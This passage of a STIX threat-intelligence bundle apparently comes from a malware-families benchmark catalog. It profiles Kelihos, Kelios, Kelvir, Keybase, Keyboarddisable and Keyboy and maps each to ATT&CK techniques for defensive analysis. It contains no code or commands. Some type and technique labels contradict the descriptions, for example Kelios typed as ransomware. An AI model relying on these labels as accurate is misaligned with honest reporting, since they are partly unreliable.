      "id": "relationship--77c061c3-7447-505c-ae96-0d17f5d462af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97136cf7-1aee-5f74-8f5c-7ebecbcf2156",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keenm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f71d0dd4-2b88-519c-a798-ab70d0f9d23a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97136cf7-1aee-5f74-8f5c-7ebecbcf2156",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keenm exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kelihos",
      "description": "Worm:Win32/Kelihos (also known as Hlux) was a massive, highly resilient peer-to-peer (P2P) botnet that operated from 2010 until its final federal dismantling in April 2017. Derived architecturally from the Waledac and Storm Worm codebases, Kelihos comprised a decentralized mesh of more than 100,000 compromised personal computers globally. The botnet was operated as an illicit crimeware infrastructure-as-a-service by Russian cybercriminal Peter Yuryevich Levashov (known online as 'Severa' and 'Peter Severa'). Levashov rented out Kelihos' computational power on underground cybercrime forums to execute pump-and-dump penny stock manipulation campaigns, pump hundreds of millions of illicit pharmaceutical spam emails daily, steal online banking and Bitcoin cryptocurrency wallet credentials, and harvest sensitive email contact lists. Kelihos employed a multi-tier P2P communication protocol where worker bots connected to controller nodes via encrypted TCP port 80 and 443 channels, evading centralized domain sinkholing. In April 2017, Spanish National Police arrested Levashov in Barcelona pursuant to a US international red notice. Extradited to the District of Connecticut, Levashov pleaded guilty in federal court to multiple counts of wire fraud, bank fraud, and CFAA computer offenses, while the FBI and Department of Justice executed court-authorized civil warrants to seize and sinkhole the remaining P2P command infrastructure. (Observed samples in benchmark: 47)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Kelihos",
        "Hlux",
        "Worm:Win32/Kelihos",
        "Bagle.Kelihos",
        "Trojan.Kelihos"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kelihos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kelihos"
        }
      ],
      "labels": [
        "spam_bot",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00c6851f-0f1d-563e-9300-7f6f89f53f1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelihos exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e01b89f3-41e5-5ce0-9d3a-786a39efc239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelihos exhibits technique T1114.001 (Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4aa20571-c230-51ca-acb2-6bfbdb270955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelihos exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d895896-6c07-5971-af3d-ff04c1266cb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelihos exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e935563-e871-5c66-877b-44749a355563",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelihos exhibits technique T1560.001 (Archive via Utility)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87fdbcf0-e3e1-5d85-8d25-d7ce72c25de9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee996ae2-6920-53ec-9f8d-7d17efb92a43",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelihos exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d4140d1d-d014-5869-aa14-f27a7e305f8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kelios",
      "description": "Trojan:Win32/Kelios is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kelios</b><br>To an end-user, a Kelios infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kelios is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kelios is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kelios frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kelios reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kelios",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kelios"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--734f41bc-8eb1-5252-ae19-dc03274d6159",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4140d1d-d014-5869-aa14-f27a7e305f8c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelios exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbc67e94-aeb5-5135-bf8f-8a902a4e9101",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4140d1d-d014-5869-aa14-f27a7e305f8c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelios exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4f2808e-813c-507a-be0d-ac66b3485d8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4140d1d-d014-5869-aa14-f27a7e305f8c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelios exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73e230ba-b7b7-53fd-b159-3db1f937901d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4140d1d-d014-5869-aa14-f27a7e305f8c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelios exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--108d4e2c-2f36-5f96-8520-4a2381f9f482",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4140d1d-d014-5869-aa14-f27a7e305f8c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelios exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27301063-7fb9-53d1-a05e-aba388d10d2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kelvir",
      "description": "<h3>Executive Summary</h3>\nKelvir is a widespread and aggressive family of Worms that primarily propagate by exploiting instant messaging networks, most notably the legacy MSN Messenger (Windows Live Messenger) platform. Emerging in the mid-2000s, Kelvir rapidly infected millions of computers globally. By hijacking the victim's IM client and leveraging social engineering, Kelvir rapidly spreads across contact lists, degrading network performance and often dropping secondary backdoor trojans.\n\n<h3>Propagation and Execution Lifecycle</h3>\nKelvir relies on aggressive, largely automated propagation techniques utilizing social engineering:\n<ul>\n<li><strong>Instant Messaging Propagation (Worm Capability):</strong> Upon execution, Kelvir hooks into the active MSN Messenger process. It automatically sends a malicious link to every contact in the infected user's active contact list. The message often uses enticing social engineering (e.g., \"lol check out this picture of you!\") to trick the recipient into clicking the link.</li>\n<li><strong>Payload Delivery:</strong> The link directs the recipient to a compromised web server that automatically downloads the Kelvir executable (often disguised as a `.scr`, `.pif`, or `.zip` file). If the new victim executes the file, the cycle repeats.</li>\n<li><strong>System Sabotage and Backdoors:</strong> Once active, Kelvir attempts to disable local antivirus and firewall software. Crucially, many Kelvir variants carry a secondary payload\u2014often a botnet agent or a backdoor trojan (like Spybot)\u2014allowing the attacker to remotely control the infected machine, steal credentials, or launch DDoS attacks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the specific MSN Messenger platform is obsolete, the propagation mechanics of Kelvir (abusing trusted communication channels) remain highly relevant today (e.g., spreading via Slack, Teams, or WhatsApp). An infection represents a significant security incident, as the rapid propagation can overwhelm network bandwidth and the secondary payloads compromise endpoint integrity.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Aggressive Network Isolation:</strong> Infected machines must be immediately disconnected from the LAN to halt the outbound IM spam traffic and prevent further lateral spread.</li>\n<li><strong>Application Control and Web Filtering:</strong> In modern environments, implement strict web filtering (SWG) to block the download of executable file types from unknown domains, neutralizing the worm's primary delivery mechanism.</li>\n<li><strong>Behavioral EDR:</strong> Defenses must rely on heuristic EDR tools that detect anomalous actions (e.g., an IM client process unexpectedly attempting to download and execute secondary binaries, or modifications to the Windows `HOSTS` file).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Win32.Kelvir",
        "IM-Worm.Kelvir",
        "W32/Kelvir"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kelvir",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kelvir"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67a59a8f-571d-54f2-8119-20a45162bba1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27301063-7fb9-53d1-a05e-aba388d10d2b",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelvir exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85abe985-0002-543d-8a3c-d3d05ef1616b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27301063-7fb9-53d1-a05e-aba388d10d2b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelvir exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb84c3ee-8b98-53dc-b0cb-a9fbd7773bb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27301063-7fb9-53d1-a05e-aba388d10d2b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kelvir exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eff71b15-d870-57ec-8ae1-e0cd78fb72f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keybase",
      "description": "Spyware:Win32/Keybase is a prolific, commercially available software tool weaponized as a keylogger and spyware agent. Originally sold legally as an 'employee monitoring' tool, its builder software was cracked and leaked onto underground hacker forums. Consequently, Keybase became heavily utilized by low-skill cybercriminals ('script kiddies') to mount widespread, untargeted credential theft campaigns via phishing, completely eliminating privacy on infected machines.<br><br><b>Understanding Keybase (Commercial Keyloggers)</b><br>To an end-user, Keybase operates invisibly in the background. For a SOC analyst, detecting Keybase indicates an immediate breach of confidentiality; the attacker has successfully installed software that records every keystroke, clipboard copy, and website visited (`T1056.001`). Unlike advanced APT malware, Keybase is 'noisy' and easier to detect, but highly destructive if left unchecked.<br><br><b>Execution and Espionage Mechanics</b><br>Keybase is typically distributed via spam emails containing weaponized attachments (e.g., fake invoices or tracking receipts) (`T1566.001`). Upon execution (`T1204.002`), the compiled stub drops the main keylogger executable into the `%AppData%` directory and establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key. It hooks into the Windows API (like `SetWindowsHookEx`) to intercept all keyboard input. It captures clipboard contents (`T1115`) and periodically takes screenshots of the active window (`T1113`). The harvested data is compiled into HTML or text files and exfiltrated to the attacker via SMTP (emailing the logs), FTP, or a web panel (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total theft of all passwords, personal communications, and financial data entered on the machine. Host-based IoCs include EDR alerts for 'Suspicious API Hooking' (specifically keyboard hooks). A strong indicator is the creation of hidden directories in `%AppData%` containing massive text files (the key logs) and hundreds of screenshots. Network IoCs include the malware attempting to establish outbound SMTP (Port 25/587) or FTP (Port 21) connections to upload the stolen logs. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keybase",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keybase"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55117fda-f109-5a8e-b069-194ee75f0ed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff71b15-d870-57ec-8ae1-e0cd78fb72f7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keybase exhibits technique T1056.001 (Input Capture: Keylogging (Primary data theft mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4449a1af-c80a-52cd-a677-e7386c038e51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff71b15-d870-57ec-8ae1-e0cd78fb72f7",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keybase exhibits technique T1115 (Clipboard Data (Stealing copied passwords and crypto addresses))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e03bb0fa-9f95-5a3c-aa06-5021e684501a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff71b15-d870-57ec-8ae1-e0cd78fb72f7",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keybase exhibits technique T1113 (Screen Capture (Visual confirmation of activity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71e505a4-3f64-58b1-b286-4db7b87e953b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff71b15-d870-57ec-8ae1-e0cd78fb72f7",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keybase exhibits technique T1041 (Exfiltration Over C2 Channel (Uploading logs via SMTP/FTP))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keyboarddisable",
      "description": "<h3>Executive Summary</h3>\n\"KeyboardDisable\" is not a fully-featured malware family, but rather a specific, malicious payload component or behavioral symptom often associated with ransomware, screenlockers, or disruptive trojans. As the name suggests, its primary function is to intercept or completely disable keyboard input, severely hindering the victim's ability to respond to a cyberattack.\n\n<h3>Technical Implementation and Context</h3>\nThe ability to disable keyboard (and often mouse) input is a tactic utilized during the critical execution phases of other malware. It is implemented using native operating system APIs.\n\nIn a Windows environment, this is typically achieved by:\n<ul>\n<li><strong>API Hooking:</strong> Utilizing `SetWindowsHookEx` with the `WH_KEYBOARD_LL` (Low-Level Keyboard Hook) parameter to intercept all keystrokes. The malicious hook function simply discards the input, preventing it from reaching any application or the OS.</li>\n<li><strong>Driver Manipulation:</strong> In more sophisticated attacks (often requiring kernel-level privileges), the malware may attempt to uncouple or corrupt the legitimate keyboard filter drivers (`kbdclass.sys`).</li>\n</ul>\nThis tactic is most frequently observed in \"Screenlocker\" ransomware (which locks the screen and demands payment without necessarily encrypting files) to prevent the user from accessing the Task Manager (Ctrl+Alt+Del) or booting into Safe Mode.\n\n<h3>Threat Assessment</h3>\nWhile disabling the keyboard does not destroy data, it is a severe Denial of Service (DoS) condition on the local endpoint. It induces panic and forces the user to perform a hard reset, which may exacerbate data loss if ransomware is actively encrypting files in the background.\n\n<h3>Incident Response and Recovery</h3>\n<ul>\n<li><strong>Hard Reboot and Safe Mode:</strong> If the keyboard is disabled by user-mode hooking, a hard reboot followed immediately by booting into Windows Safe Mode (which loads minimal drivers and startup programs) will often bypass the malicious hook.</li>\n<li><strong>Remote Administration:</strong> System administrators can utilize remote management tools (RDP, PowerShell Remoting, or enterprise EDR consoles) to identify and kill the offending process, as the remote keyboard input may bypass local hooks.</li>\n<li><strong>Root Cause Analysis:</strong> Treat the disabled keyboard as a symptom of a larger infection. Once control is regained, a full forensic scan must be performed to locate the primary payload (e.g., the ransomware or trojan) that deployed the KeyboardDisable component.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.KeyboardDisable",
        "ScreenLocker Component",
        "Behavior.KeyboardLock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keyboarddisable",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keyboarddisable"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a216855-12d4-58c9-814d-5db51747625d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboarddisable exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9745fd44-a663-5063-9ae6-c98b025ea984",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboarddisable exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42876d95-aceb-557c-9492-e026d6af6f50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboarddisable exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce7ad7ef-1beb-5bc4-9ca1-f1aa7d1311d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboarddisable exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d523bfd1-8a84-571f-8a35-798822ad03d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboarddisable exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef71585b-cbff-5958-a164-6660740967fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e87f3be-67e0-5999-83c2-333dccdec01d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboarddisable exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--62f0d9be-f597-5532-9848-5824068273ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keyboy",
      "description": "Backdoor:Win32/Keyboy is a sophisticated Remote Access Trojan (RAT) and backdoor heavily utilized by Chinese-speaking Advanced Persistent Threat (APT) groups, most notably 'Tropic Trooper' (also known as KeyBoy or Pirate Panda). It is deployed primarily for long-term cyber espionage, focusing on exfiltrating intellectual property and sensitive documents from government, military, and healthcare targets in Taiwan and Southeast Asia.<br><br><b>Understanding Keyboy (APT Espionage)</b><br>To an end-user, Keyboy operates completely silently in the background. For a threat intelligence analyst, discovering Keyboy is a major incident. It is not mass-distributed malware; it is a highly targeted tool used by professional operators to establish a persistent, stealthy foothold (`T1098`) within a specific organization's network.<br><br><b>Execution and Espionage Mechanics</b><br>Keyboy is traditionally delivered via highly targeted spear-phishing campaigns (`T1566.001`) utilizing weaponized Microsoft Word documents exploiting known CVEs (like CVE-2012-0158). More recent variants have utilized DLL side-loading (`T1574.002`) to execute. Once active, the backdoor gathers extensive system profiling data and communicates with its C2 infrastructure using custom, often encrypted, protocols over HTTP/HTTPS. Keyboy provides operators with a reverse shell, file manipulation capabilities, and the ability to download and execute secondary reconnaissance tools, specifically targeting documents with `.doc`, `.xls`, `.pdf`, and `.ppt` extensions (`T1005`) for exfiltration (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the unauthorized disclosure of highly sensitive intellectual property and state secrets. Host-based IoCs include the presence of known Keyboy DLLs or disguised executables, and EDR alerts for DLL side-loading (e.g., a legitimate, signed executable loading a malicious DLL from an unexpected directory). Network IoCs include periodic beaconing traffic to known Tropic Trooper C2 infrastructure, often characterized by specific HTTP header anomalies. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keyboy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keyboy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11592651-d819-5f0e-b1ba-4833b61bf127",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f0d9be-f597-5532-9848-5824068273ce",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboy exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading)."
    },
